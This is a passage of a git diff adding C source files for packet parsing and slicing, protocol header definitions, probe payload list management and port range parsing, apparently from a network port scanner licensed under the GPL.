8; + r_u.i.t_tstamp=ntohl(*w_u.w); + r_u.i.m_tstamp=ntohl(*w2_u.w); + OPTSTR_APPEND(scratch); + break; + + case TCPOPT_WINDOW: + dataoff++; + ptr++; + if (*ptr != 3 || (dataoff + 1) > len) { + ERR("tcpopt window damaged"); + OPTSTR_APPEND("WIN (damaged)"); + goto done; + } + ptr++; + dataoff++; + memset(scratch, 0, sizeof(scratch)); + snprintf(scratch, sizeof(scratch) -1, "WS %u", (uint8_t)*ptr); + OPTSTR_APPEND(scratch); + ptr++; + dataoff++; + break; + + default: + OPTSTR_APPENDU(*ptr); + goto done; + } + } + +done: + if (ISDBG(M_PKT) || GET_SNIFF()) { + INF("TCPO: `%s'", optstr); + } + + return; +} diff --git a/src/scan_progs/packet_parse.h b/src/scan_progs/packet_parse.h new file mode 100644 index 0000000..69cf5b1 --- /dev/null +++ b/src/scan_progs/packet_parse.h @@ -0,0 +1,29 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _NEWPARSE_H +# define _NEWPARSE_H + +#include + +void parse_packet(uint8_t *, const struct pcap_pkthdr * /* phdr */, const uint8_t * /* packet */); + +void decode_tcpopts(const uint8_t * /* data */, size_t /* len */); +void decode_ipopts (const uint8_t * /* data */, size_t /* len */); + +#endif diff --git a/src/scan_progs/packet_slice.c b/src/scan_progs/packet_slice.c new file mode 100644 index 0000000..9117a05 --- /dev/null +++ b/src/scan_progs/packet_slice.c @@ -0,0 +1,471 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * there should be an infomercial for this file * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include + +#include +#include +#include +#include + +#include +#include + +static void slice_arp (const uint8_t * /* packet */, size_t /* pk_len */, packetlayers_t *); +static void slice_eth (const uint8_t * /* packet */, size_t /* pk_len */, packetlayers_t *); +static void slice_ip (const uint8_t * /* packet */, size_t /* pk_len */, packetlayers_t *); +static void slice_tcp (const uint8_t * /* packet */, size_t /* pk_len */, packetlayers_t *); +static void slice_udp (const uint8_t * /* packet */, size_t /* pk_len */, packetlayers_t *); +static void slice_icmp (const uint8_t * /* packet */, size_t /* pk_len */, packetlayers_t *); +static void slice_payload(const uint8_t * /* packet */, size_t /* pk_len */, packetlayers_t *); +static void slice_junk (const uint8_t * /* packet */, size_t /* pk_len */, packetlayers_t *); + +/* tag and slice layer on past the app layer */ +static const uint8_t *trailgarbage_ptr=NULL; +static size_t trailgarbage_len=0; + +static size_t _plz_sz=0 /* sizeof array */, _plz_off=0 /* active array index */; +static int pk_layer=0; + +#define INCR_PKL() _plz_off++; \ + if (_plz_off > _plz_sz) { \ + ERR("packet has too many layers"); \ + return; \ + }; \ + ++plz; + +#define STEP_FORWARD(x) \ + if (pk_len < (x)) { \ + ERR("internal error slicing packet, want to advance " STFMT " but only have " STFMT, (x), pk_len); \ + return; \ + } \ + pk_len -= (x); \ + packet += (x); + +size_t packet_slice(const uint8_t *packet, size_t pk_len, packetlayers_t *plz, size_t plz_sz, int pk_start) { + + if (plz == NULL || packet == NULL) return 0; + if (plz_sz < 1) return 0; + + trailgarbage_ptr=NULL; + trailgarbage_len=0; + + _plz_sz=plz_sz; + _plz_off=0; + + pk_layer=0; + /* clear out the memory passed to use cause otherwise it would contain stray pointers */ + memset(plz, 0, sizeof(packetlayers_t) * plz_sz); + + switch (pk_start) { + case PKLTYPE_IP: + slice_ip(packet, pk_len, plz); + break; + case PKLTYPE_ETH: + slice_eth(packet, pk_len, plz); + break; + default: + return 0; + } + +/* + if (trailgarbage_len > 0 && trailgarbage_ptr != NULL) { + slice_junk(trailgarbage_ptr, trailgarbage_len, plz); + if (ISDBG(M_PKT)) { + DBG(M_PKT, "dumping crap at %p length " STFMT, trailgarbage_ptr, trailgarbage_len); + hexdump(trailgarbage_ptr, trailgarbage_len); + } + } +*/ + + return _plz_off; +} + +static void slice_eth(const uint8_t *packet, size_t pk_len, packetlayers_t *plz) { + /* fun with ethernet and no indication of header length, film at 11:00 */ + union { + const struct my6etherheader *e; + const uint8_t *d; + } i_u; + + assert(plz != NULL); + assert(packet != NULL); + + i_u.d=packet; + + if (pk_len < sizeof(struct my6etherheader)) { + DBG(M_PKT, "Short ethernet6 packet"); + return; + } + + plz->ptr=packet; + plz->type=PKLTYPE_ETH; + plz->stat=0; + plz->len=sizeof(struct my6etherheader); + + INCR_PKL(); + STEP_FORWARD(sizeof(struct my6etherheader)); + + switch (ntohs(i_u.e->ether_type)) { + case ETHERTYPE_IP: + slice_ip(packet, pk_len, plz); + break; + case ETHERTYPE_ARP: + slice_arp(packet, pk_len, plz); + break; + default: + ERR("unsupp ether protocol %04x!", ntohs(i_u.e->ether_type)); + break; + } + + return; +} + +static void slice_arp(const uint8_t *packet, size_t pk_len, packetlayers_t *plz) { + PANIC("N/I"); +} + +static void slice_ip(const uint8_t *packet, size_t pk_len, packetlayers_t *plz) { + union { + const struct myiphdr *i; + const uint8_t *d; + } i_u; + size_t opt_len=0; + uint16_t tot_len=0; + + assert(plz != NULL); + assert(packet != NULL); + + i_u.d=packet; + + if (pk_len < sizeof(struct myiphdr)) { + DBG(M_PKT, "Short IP header"); + return; + } + + plz->ptr=packet; + plz->type=PKLTYPE_IP; + plz->stat=0; + plz->len=sizeof(struct myiphdr); + + if (i_u.i->ihl < 5) { + DBG(M_PKT, "ip header claims too short length, halting slice (this shouldnt normally happen)"); + plz->stat |= PKLSTAT_DMGED|PKLSTAT_LAST; + return; + } + + if (ntohs(i_u.i->frag_off) & IP_OFFMASK) { + plz->stat |= PKLSTAT_UNSUP|PKLSTAT_LAST; + return; + } + + tot_len=ntohs(i_u.i->tot_len); + + if (tot_len > pk_len) { + plz->stat |= PKLSTAT_DMGED; + /* Truncate now */ + tot_len=pk_len; + } + else if (pk_len > tot_len) { + trailgarbage_len=pk_len - tot_len; + trailgarbage_ptr=packet + tot_len; + if (ISDBG(M_PKT)) { + DBG(M_PKT, "trailgarbage at %p length " STFMT, trailgarbage_ptr, trailgarbage_len); + hexdump(trailgarbage_ptr, trailgarbage_len); + } + } + + DBG(M_PKT, "IP Packet length total %u packet cap len " STFMT, ntohs(i_u.i->tot_len), pk_len); + + opt_len=(i_u.i->ihl - (sizeof(struct myiphdr) / 4)) * 4; + + if (opt_len + sizeof(struct myiphdr) > pk_len) { + plz->stat |= PKLSTAT_DMGED; + opt_len=0; + } + + INCR_PKL(); + STEP_FORWARD(sizeof(struct myiphdr)); + + if (opt_len) { + plz->type=PKLTYPE_IPO; + plz->ptr=packet; + plz->len=opt_len; + plz->stat=0; + + INCR_PKL(); + STEP_FORWARD(opt_len); + } + + switch (i_u.i->protocol) { + case IPPROTO_TCP: + slice_tcp(packet, pk_len - trailgarbage_len, plz); + break; + case IPPROTO_UDP: + slice_udp(packet, pk_len - trailgarbage_len, plz); + break; + case IPPROTO_ICMP: + slice_icmp(packet, pk_len - trailgarbage_len, plz); + break; + default: + DBG(M_PKT, "call for a refund! unknown IP proto %u", i_u.i->protocol); + break; + } + + return; +} + +static void slice_tcp(const uint8_t *packet, size_t pk_len, packetlayers_t *plz) { + union { + const struct mytcphdr *t; + const uint8_t *ptr; + } p_u; + uint8_t doff=0; + size_t data_len=0, tcpopt_len=0; + + p_u.ptr=packet; + + if (pk_len < sizeof(struct mytcphdr)) { + DBG(M_PKT, "short tcp header"); + return; + } + + plz->type=PKLTYPE_TCP; + plz->ptr=packet; + plz->len=sizeof(struct mytcphdr); + + doff=p_u.t->doff; + + if (doff > 0 && ((size_t)(doff * 4) > pk_len)) { + DBG(M_PKT, "datalength exceeds capture length, truncating to zero (doff %u bytes pk_len " STFMT ")", doff * 4, pk_len); + plz->stat |= PKLSTAT_DMGED|PKLSTAT_TRUNC; + doff=0; + } + + if (doff > 0 && (size_t )(doff * 4) < sizeof(struct mytcphdr)) { + DBG(M_PKT, "doff is too small, increasing to min size and hoping for no tcpoptions"); + plz->stat |= PKLSTAT_DMGED; + doff=sizeof(struct mytcphdr) / 4; + } + + if (doff > 0) { + tcpopt_len=((doff * 4) - sizeof(struct mytcphdr)); + data_len=pk_len - (doff * 4); + } + else { + tcpopt_len=pk_len - sizeof(struct mytcphdr); + data_len=0; + } + + INCR_PKL(); + STEP_FORWARD(sizeof(struct mytcphdr)); + + if (tcpopt_len) { + plz->type=PKLTYPE_TCPOP; + plz->ptr=packet; + plz->len=tcpopt_len; + plz->stat=0; + + INCR_PKL(); + STEP_FORWARD(tcpopt_len); + } + + if (pk_len) { + DBG(M_PKT, "data off %u and pk_len " STFMT, doff, pk_len); + slice_payload(packet, pk_len, plz); + } + + return; +} + +static void slice_udp(const uint8_t *packet, size_t pk_len, packetlayers_t *plz) { + union { + const struct myudphdr *u; + const uint8_t *ptr; + } p_u; + uint16_t len=0; + + assert(packet != NULL); assert(plz != NULL); + + if (pk_len < sizeof(struct myudphdr)) { + DBG(M_PKT, "short udp header"); + return; + } + + p_u.ptr=packet; + + len=ntohs(p_u.u->len); + + plz->type=PKLTYPE_UDP; + plz->stat=0; + plz->len=sizeof(struct myudphdr); + plz->ptr=packet; + if (len > pk_len) { + plz->stat=PKLSTAT_DMGED; + INCR_PKL(); + STEP_FORWARD(sizeof(struct myudphdr)); + slice_payload(packet, pk_len, plz); + } + else if (len < pk_len) { + INCR_PKL(); + STEP_FORWARD(sizeof(struct myudphdr)); + slice_payload(packet, len, plz); + slice_junk(packet, pk_len, plz); + } + else { + INCR_PKL(); + STEP_FORWARD(sizeof(struct myudphdr)); + slice_payload(packet, pk_len, plz); + } + + return; +} + +static void slice_icmp(const uint8_t *packet, size_t pk_len, packetlayers_t *plz) { + ERR("slice icmp"); + return; +} + +static void slice_payload(const uint8_t *packet, size_t pk_len, packetlayers_t *plz) { + assert(plz != NULL); assert(packet != NULL); + + if (pk_len) { + plz->type=PKLTYPE_PAYLOAD; + plz->ptr=packet; + plz->len=pk_len; + INCR_PKL(); + STEP_FORWARD(pk_len); + } + + return; +} + +static void slice_junk(const uint8_t *packet, size_t pk_len, packetlayers_t *plz) { + assert(plz != NULL); assert(packet != NULL); + + if (pk_len) { + plz->type=PKLTYPE_JUNK; + plz->ptr=packet; + plz->len=pk_len; + INCR_PKL(); + STEP_FORWARD(pk_len); + } + + return; +} + +char *strpkstat(int pstat) { + static char desc[128]; + unsigned int doff=0; + int sret=0; + +#define APPEND(x) \ + if (doff + 2 < sizeof(desc)) { \ + if (doff > 0) { \ + desc[doff++]=' '; \ + } \ + sret=snprintf(desc + doff, sizeof(desc) - doff, "%s", (x)); \ + if (sret < 0) { \ + ERR("snprintf fails, weird"); \ + } \ + else { \ + assert(doff + sret < sizeof(desc)); \ + doff += sret; \ + } \ + } \ + + if (pstat & PKLSTAT_DMGED) { + APPEND("damaged"); + } + + if (pstat & PKLSTAT_TRUNC) { + APPEND("truncated"); + } + + if (pstat & PKLSTAT_LAST) { + APPEND("last layer"); + } + + if (pstat & PKLSTAT_UNSUP) { + APPEND("unsupported"); + } + + if (pstat & ~(PKLSTAT_DMGED|PKLSTAT_TRUNC|PKLSTAT_LAST|PKLSTAT_UNSUP)) { + APPEND("unknown"); + } + + return desc; +} + +char *strpklayer(int pklyr) { + static char desc[32]; + + switch (pklyr) { + case PKLTYPE_ETH: + strcpy(desc, "Ethernet"); + break; + + case PKLTYPE_ARP: + strcpy(desc, "ARP"); + break; + + case PKLTYPE_IP: + strcpy(desc, "IP"); + break; + + case PKLTYPE_IPO: + strcpy(desc, "IP Options"); + break; + + case PKLTYPE_UDP: + strcpy(desc, "UDP"); + break; + + case PKLTYPE_TCP: + strcpy(desc, "TCP"); + break; + + case PKLTYPE_TCPOP: + strcpy(desc, "TCPOPS"); + break; + + case PKLTYPE_ICMP: + strcpy(desc, "ICMP"); + break; + + case PKLTYPE_PAYLOAD: + strcpy(desc, "payload"); + break; + + case PKLTYPE_JUNK: + strcpy(desc, "junk"); + break; + + default: + sprintf(desc, "unknown[%d]", pklyr); + break; + } + + return desc; +} diff --git a/src/scan_progs/packet_slice.h b/src/scan_progs/packet_slice.h new file mode 100644 index 0000000..ccb3d0e --- /dev/null +++ b/src/scan_progs/packet_slice.h @@ -0,0 +1,51 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _PACKETSLICE_H +# define _PACKETSLICE_H + +typedef struct packetlayers_t { + uint8_t type; +#define PKLTYPE_ETH 1 +#define PKLTYPE_ARP 2 +#define PKLTYPE_IP 3 +#define PKLTYPE_IPO 4 +#define PKLTYPE_UDP 5 +#define PKLTYPE_TCP 6 +#define PKLTYPE_TCPOP 7 +#define PKLTYPE_ICMP 8 +#define PKLTYPE_PAYLOAD 9 +#define PKLTYPE_JUNK 10 + + uint8_t stat; +#define PKLSTAT_DMGED 1 +#define PKLSTAT_TRUNC 2 +#define PKLSTAT_LAST 3 +#define PKLSTAT_UNSUP 4 + + const uint8_t *ptr; + size_t len; +} packetlayers_t; + +size_t packet_slice(const uint8_t * /* packet */, size_t /* of packet */, + packetlayers_t * /* already allocated */, size_t /* sizeof struct packetlayers */, + int /* layer start ie PKLTYPE_IP */); + +char *strpklayer(int /* PKLTYPE_? */); +char *strpkstat(int /* stat */); +#endif diff --git a/src/scan_progs/packets.h b/src/scan_progs/packets.h new file mode 100644 index 0000000..272436c --- /dev/null +++ b/src/scan_progs/packets.h @@ -0,0 +1,189 @@ +#ifndef _PACKETS_H +# define _PACKETS_H + +/* taken from the /usr/include/netinet/ * headers from a GNU/Linux system, so its GPL like the orig headers * + * i take no credit for this only bug responsibility */ + +#ifndef BYTE_ORDER +#error Byte Order not defined in packets.h +#endif + +struct _PACKED_ myiphdr { +#if BYTE_ORDER == LITTLE_ENDIAN + uint32_t ihl:4; + uint32_t version:4; +#else + uint32_t version:4; + uint32_t ihl:4; +#endif +/* + 0001 Minimize Monetary Cost [Obsoleted by RFC2474] + 0010 Maximize Reliability [Obsoleted by RFC2474] + 0100 Maximize Throughput [Obsoleted by RFC2474] + 1000 Minimize Delay [Obsoleted by RFC2474] + 1111 Maximize Security [Obsoleted by RFC2474] +*/ + uint8_t tos; +#define TOS_DEFAULT 0x00 +#define TOS_MINCOST 0x01 +#define TOS_MAXRELI 0x02 +#define TOS_MAXTHRU 0x04 +#define TOS_MINDELA 0x08 +#define TOS_MAXSECU 0x0f + uint16_t tot_len; + uint16_t id; + uint16_t frag_off; + uint8_t ttl; + uint8_t protocol; + uint16_t check; + uint32_t saddr; + uint32_t daddr; +}; + +#define IP_RF 0x8000 /* reserved fragment flag */ +#define IP_DF 0x4000 /* dont fragment flag */ +#define IP_MF 0x2000 /* more fragments flag */ +#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ + +struct _PACKED_ myudphdr { + uint16_t source; + uint16_t dest; + uint16_t len; + uint16_t check; +}; + +struct _PACKED_ mytcphdr { + uint16_t source; + uint16_t dest; + uint32_t seq; + uint32_t ack_seq; +#if BYTE_ORDER == LITTLE_ENDIAN + uint16_t res1:4; + uint16_t doff:4; + uint16_t fin:1; + uint16_t syn:1; + uint16_t rst:1; + uint16_t psh:1; + uint16_t ack:1; + uint16_t urg:1; + uint16_t ece:1; + uint16_t cwr:1; +#else + uint16_t doff:4; + uint16_t res1:4; + uint16_t cwr:1; + uint16_t ece:1; + uint16_t urg:1; + uint16_t ack:1; + uint16_t psh:1; + uint16_t rst:1; + uint16_t syn:1; + uint16_t fin:1; +#endif + uint16_t window; + uint16_t check; + uint16_t urg_ptr; +}; + +#ifndef TCPOPT_EOL +# define TCPOPT_EOL 0 +# define TCPOPT_NOP 1 +# define TCPOPT_MAXSEG 2 +# define TCPOLEN_MAXSEG 4 +# define TCPOPT_WINDOW 3 +# define TCPOLEN_WINDOW 3 +# define TCPOPT_SACK_PERMITTED 4 /* Experimental */ +# define TCPOLEN_SACK_PERMITTED 2 +# define TCPOPT_SACK 5 /* Experimental */ +# define TCPOPT_TIMESTAMP 8 +# define TCPOLEN_TIMESTAMP 10 +# define TCPOLEN_TSTAMP_APPA (TCPOLEN_TIMESTAMP+2) /* appendix A */ +#endif + +struct _PACKED_ myicmphdr { + uint8_t type; /* message type */ + uint8_t code; /* type sub-code */ + uint16_t checksum; + union { + struct { + uint16_t id; + uint16_t sequence; + } echo; /* echo datagram */ + uint32_t gateway; /* gateway address */ + struct { + uint16_t ___unused; + uint16_t mtu; + } frag; /* path mtu discovery */ + } un; +}; + +#define ICMP_ECHOREPLY 0 /* Echo Reply */ +#define ICMP_DEST_UNREACH 3 /* Destination Unreachable */ +#define ICMP_SOURCE_QUENCH 4 /* Source Quench */ +#define ICMP_REDIRECT 5 /* Redirect (change route) */ +#define ICMP_ECHO 8 /* Echo Request */ +#define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */ +#define ICMP_PARAMETERPROB 12 /* Parameter Problem */ +#define ICMP_TIMESTAMP 13 /* Timestamp Request */ +#define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */ +#define ICMP_INFO_REQUEST 15 /* Information Request */ +#define ICMP_INFO_REPLY 16 /* Information Reply */ +#define ICMP_ADDRESS 17 /* Address Mask Request */ +#define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */ + +struct _PACKED_ myetherarphdr { + uint16_t hw_type; + uint16_t protocol; + uint8_t hwsize; + uint8_t protosize; + uint16_t opcode; + /* assume ethernet with len 6 and proto len 4 */ + uint8_t smac[6]; + uint32_t sip; + uint8_t dmac[6]; + uint32_t dip; +}; + +struct _PACKED_ myarphdr { + uint16_t hw_type; + uint16_t protocol; + uint8_t hwsize; + uint8_t protosize; + uint16_t opcode; +}; + + +#define ARPOP_REQUEST 1 /* ARP request. */ +#define ARPOP_REPLY 2 /* ARP reply. */ +#define ARPOP_RREQUEST 3 /* RARP request. */ +#define ARPOP_RREPLY 4 /* RARP reply. */ +#define ARPOP_INREQUEST 8 /* InARP request. */ +#define ARPOP_INREPLY 9 /* InARP reply. */ +#define ARPOP_NAK 10 /* (ATM)ARP NAK. */ + +#define ARPHRD_NETROM 0 /* From KA9Q: NET/ROM pseudo. */ +#define ARPHRD_ETHER 1 /* Ethernet 10/100Mbps. */ +#define ARPHRD_EETHER 2 /* Experimental Ethernet. */ +#define ARPHRD_AX25 3 /* AX.25 Level 2. */ +#define ARPHRD_PRONET 4 /* PROnet token ring. */ +#define ARPHRD_CHAOS 5 /* Chaosnet. */ +#define ARPHRD_IEEE802 6 /* IEEE 802.2 Ethernet/TR/TB. */ +#define ARPHRD_ARCNET 7 /* ARCnet. */ +#define ARPHRD_APPLETLK 8 /* APPLEtalk. */ +#define ARPHRD_DLCI 15 /* Frame Relay DLCI. */ +#define ARPHRD_ATM 19 /* ATM. */ +#define ARPHRD_METRICOM 23 /* Metricom STRIP (new IANA id). */ + +struct _PACKED_ my6etherheader { + uint8_t ether_dhost[6]; + uint8_t ether_shost[6]; + uint16_t ether_type; +}; + +/* Ethernet protocol ID's */ +#define ETHERTYPE_PUP 0x0200 /* Xerox PUP */ +#define ETHERTYPE_IP 0x0800 /* IP */ +#define ETHERTYPE_ARP 0x0806 /* Address resolution */ +#define ETHERTYPE_REVARP 0x8035 /* Reverse ARP */ + +#endif /* _PACKETS_H */ diff --git a/src/scan_progs/payload.c b/src/scan_progs/payload.c new file mode 100644 index 0000000..9f6bbcc --- /dev/null +++ b/src/scan_progs/payload.c @@ -0,0 +1,233 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include +#include +#include +#include +#include + +int init_payloads(void) { + + s->plh=(payload_lh_t *)xmalloc(sizeof(payload_lh_t)); + memset(s->plh, 0, sizeof(payload_lh_t)); + + return 1; +} + +int add_default_payload(uint16_t proto, int32_t local_port, const uint8_t *payload, uint32_t payload_size, int (*create_payload)(uint8_t **, uint32_t *, void *), uint16_t payload_group) { + payload_t *dpl=NULL; + + assert(s->plh != NULL); + + DBG(M_PYL, "setting up default payload"); + + dpl=(payload_t *)xmalloc(sizeof(payload_t)); + memset(dpl, 0, sizeof(payload_t)); + + dpl->proto=proto; + dpl->port=0; + dpl->local_port=local_port; + if (payload_size > 0) { + if (payload == NULL) { + PANIC("NULL pointer to payload with size > 0"); + } + dpl->payload=(uint8_t *)xmalloc(payload_size); + memcpy(dpl->payload, payload, payload_size); + } + else { + if (create_payload == (int (*)(uint8_t **, uint32_t *, void *))NULL) { + PANIC("no static payload given, but no payload function present"); + } + dpl->payload=NULL; + } + dpl->payload_size=payload_size; + dpl->create_payload=create_payload; + dpl->payload_group=payload_group; + + dpl->next=NULL; + dpl->over=NULL; + + if (s->plh->def != NULL) { + payload_t *walk=NULL; + + for (walk=s->plh->def; walk->over != NULL; walk=walk->over) { + ; + } + walk->over=dpl; + } + else { + s->plh->def=dpl; + } + + return 1; +} + +int add_payload(uint16_t proto, uint16_t port, int32_t local_port, const uint8_t *payload, uint32_t payload_size, int (*create_payload)(uint8_t **, uint32_t *, void *), uint16_t payload_group) { + payload_t *pnew=NULL; + + if (s->plh == NULL) { + PANIC("add_payload called before init_payloads!"); + } + + DBG(M_PYL, + "add payload for proto %s port %u local port %d payload %p " + "payload size %u create_payload %p payload group %u", + proto == IPPROTO_TCP ? "TCP" : "UDP", + port, + local_port, + payload, + payload_size, + create_payload, + payload_group + ); + + pnew=(payload_t *)xmalloc(sizeof(payload_t)); + memset(pnew, 0, sizeof(payload_t)); + + pnew->proto=proto; + pnew->port=port; + pnew->local_port=local_port; + + if (payload_size > 0) { + if (payload == NULL) { + PANIC("NULL pointer to payload with size > 0"); + } + pnew->payload=(uint8_t *)xmalloc(payload_size); + memcpy(pnew->payload, payload, payload_size); + } + else { + if (create_payload == (int (*)(uint8_t **, uint32_t *, void *))NULL) { + PANIC("no static payload given, but no payload function present"); + } + pnew->payload=NULL; + } + pnew->payload_size=payload_size; + pnew->create_payload=create_payload; + pnew->payload_group=payload_group; + pnew->next=NULL; + pnew->over=NULL; + + if (s->plh->top != NULL) { + payload_t *current=NULL, *last=NULL; + + for (current=s->plh->top; current != NULL; last=current, current=current->next) { + if (current->port == port && current->proto == proto && current->payload_group == payload_group) { + DBG(M_PYL, "extra payload for port %u proto %u", port, proto); + while (current->over != NULL) { + DBG(M_PYL, "steping over on payload list"); + current=current->over; + } + current->over=pnew; + pnew->over=NULL; + + return 1; + } + } + + DBG(M_PYL, "added payload for port %u proto %s payload group %d", port, (proto == IPPROTO_TCP ? "TCP" : "UDP"), pnew->payload_group); + last->next=pnew; + assert(s->plh->bottom == last); + s->plh->bottom=pnew; + } + else { + DBG(M_PYL, "added first node to payload list for port %u proto %u", port, proto); + s->plh->bottom=pnew; + s->plh->top=pnew; + } + + return 1; +} + +int get_payload(uint16_t indx, uint16_t proto, uint16_t port, uint8_t **data, uint32_t *payload_s, int32_t *local_port, int (**payload_init)(uint8_t **, uint32_t *, void *), uint16_t payload_group) { + payload_t *current=NULL; + + DBG(M_PYL, "payload for port %u proto %u group %u searching starting at %p...", port, proto, payload_group, s->plh->top); + + for (current=s->plh->top; current != NULL; current=current->next) { + + DBG(M_PYL, "searching plg %d -> %d port %u -> %u proto %u -> %u", current->payload_group, payload_group, current->port, port, current->proto, proto); + + if (current->port == port && current->proto == proto && current->payload_group == payload_group) { + if (indx == 0) { + DBG(M_PYL, "found a payload with size %u local port %d create_payload %p payload group %u and data %p", current->payload_size, current->local_port, current->create_payload, current->payload_group, current->payload); + *payload_s=current->payload_size; + *local_port=current->local_port; + *payload_init=current->create_payload; + *data=current->payload; + return 1; + } + else { + uint16_t pos=0; + + while (current->over != NULL) { + current=current->over; + pos++; + if (pos == indx) { + DBG(M_PYL, "found a payload with size %u local port %d create_payload %p payload group %u and data %p", current->payload_size, current->local_port, current->create_payload, current->payload_group, current->payload); + *payload_s=current->payload_size; + *local_port=current->local_port; + *payload_init=current->create_payload; + *data=current->payload; + return 1; + } + } + } + } + } + + if (GET_DEFAULT() && s->plh->def != NULL) { + + current=s->plh->def; + + if (indx == 0) { + if (current->proto == proto && current->payload_group == payload_group) { + *payload_s=current->payload_size; + *local_port=current->local_port; + *payload_init=current->create_payload; + *data=current->payload; + DBG(M_PYL, "found a default payload with size %u local port %d create_payload %p payload group %u and data %p", current->payload_size, current->local_port, current->create_payload, current->payload_group, current->payload); + return 1; + } + } + else { + uint16_t pos=0; + + while (current->over != NULL) { + current=current->over; + pos++; + if (pos == indx) { + DBG(M_PYL, "found a default payload with size %u local port %d create_payload %p payload group %u and data %p", current->payload_size, current->local_port, current->create_payload, current->payload_group, current->payload); + *payload_s=current->payload_size; + *local_port=current->local_port; + *payload_init=current->create_payload; + *data=current->payload; + return 1; + } + } + } + } + + DBG(M_PYL, "no payload found for port %u proto %u index %d", port, proto, indx); + + return 0; +} diff --git a/src/scan_progs/payload.h b/src/scan_progs/payload.h new file mode 100644 index 0000000..bdf977e --- /dev/null +++ b/src/scan_progs/payload.h @@ -0,0 +1,6 @@ +#ifndef _PAYLOAD_H +# define _PAYLOAD_H + +#define PAY_DANGEROUS 0x01 + +#endif diff --git a/src/scan_progs/portfunc.c b/src/scan_progs/portfunc.c new file mode 100644 index 0000000..bf8e9b5 --- /dev/null +++ b/src/scan_progs/portfunc.c @@ -0,0 +1,347 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include +#include + +#include +#include +#include +#include + +static int32_t *ports=NULL; +static uint32_t num_ports=0; +static int32_t *user_index=0; + +void reset_getnextport(void) { + + user_index=&ports[0]; + + return; +} + +int get_nextport(int32_t *in) { + assert(user_index != NULL); + + if (*user_index == -1) { + return -1; + } + else { + *in=*user_index; + user_index++; + } + + return 1; +} + +void shuffle_ports(void) { + uint32_t ss=0, d=0, indx=0; + int j=0; + + DBG(M_PRT, "shuffle ports at depth %u", num_ports); + + if (num_ports < 2) { + return; + } + + for (j=0; j < 2; j++) { + for (indx=0; indx < num_ports; indx++) { + + ss=(prng_get32() % num_ports); + d=(prng_get32() % num_ports); + + if (ss == d) { + continue; + } + + SWAP(ports[ss], ports[d]); + } + } + + if (ISDBG(M_PRT)) { + + DBG(M_PRT, "randomized ports follow"); + + for (j=0; ports[j] != -1; j++) { + DBG(M_PRT, "port in list %d", ports[j]); + } + } + + + return; +} + +int parse_pstr(const char *input, uint32_t *total_ports) { + char *data=NULL, *dtok=NULL, *st1=NULL; + unsigned int low=0, high=0, port_index=0; + char *string=NULL; + + assert(input != NULL && strlen(input)); + + if (input[0] == 'a' || input[0] == 'A') { + string=xstrdup("0-65535"); + } + else if (input[0] == 'p' || input[0] == 'P') { + string=xstrdup("1-1024"); + } + else { + string=xstrdup(input); + } + + /* GLOBAL */ + num_ports=0; + + data=xstrdup(string); + + for (dtok=strtok_r(data, ",", &st1); dtok != NULL; dtok=strtok_r(NULL, ",", &st1)) { + if (sscanf(dtok, "%u-%u", &low, &high) == 2) { + if (low > high) { + SWAP(low, high); + } + if (low > 0xffff || high > 0xffff) { + xfree(data); + xfree(string); + ERR("port out of range"); + + return -1; + } + num_ports += ((high + 1) - low); + } + else if (sscanf(dtok, "%u", &low) == 1) { 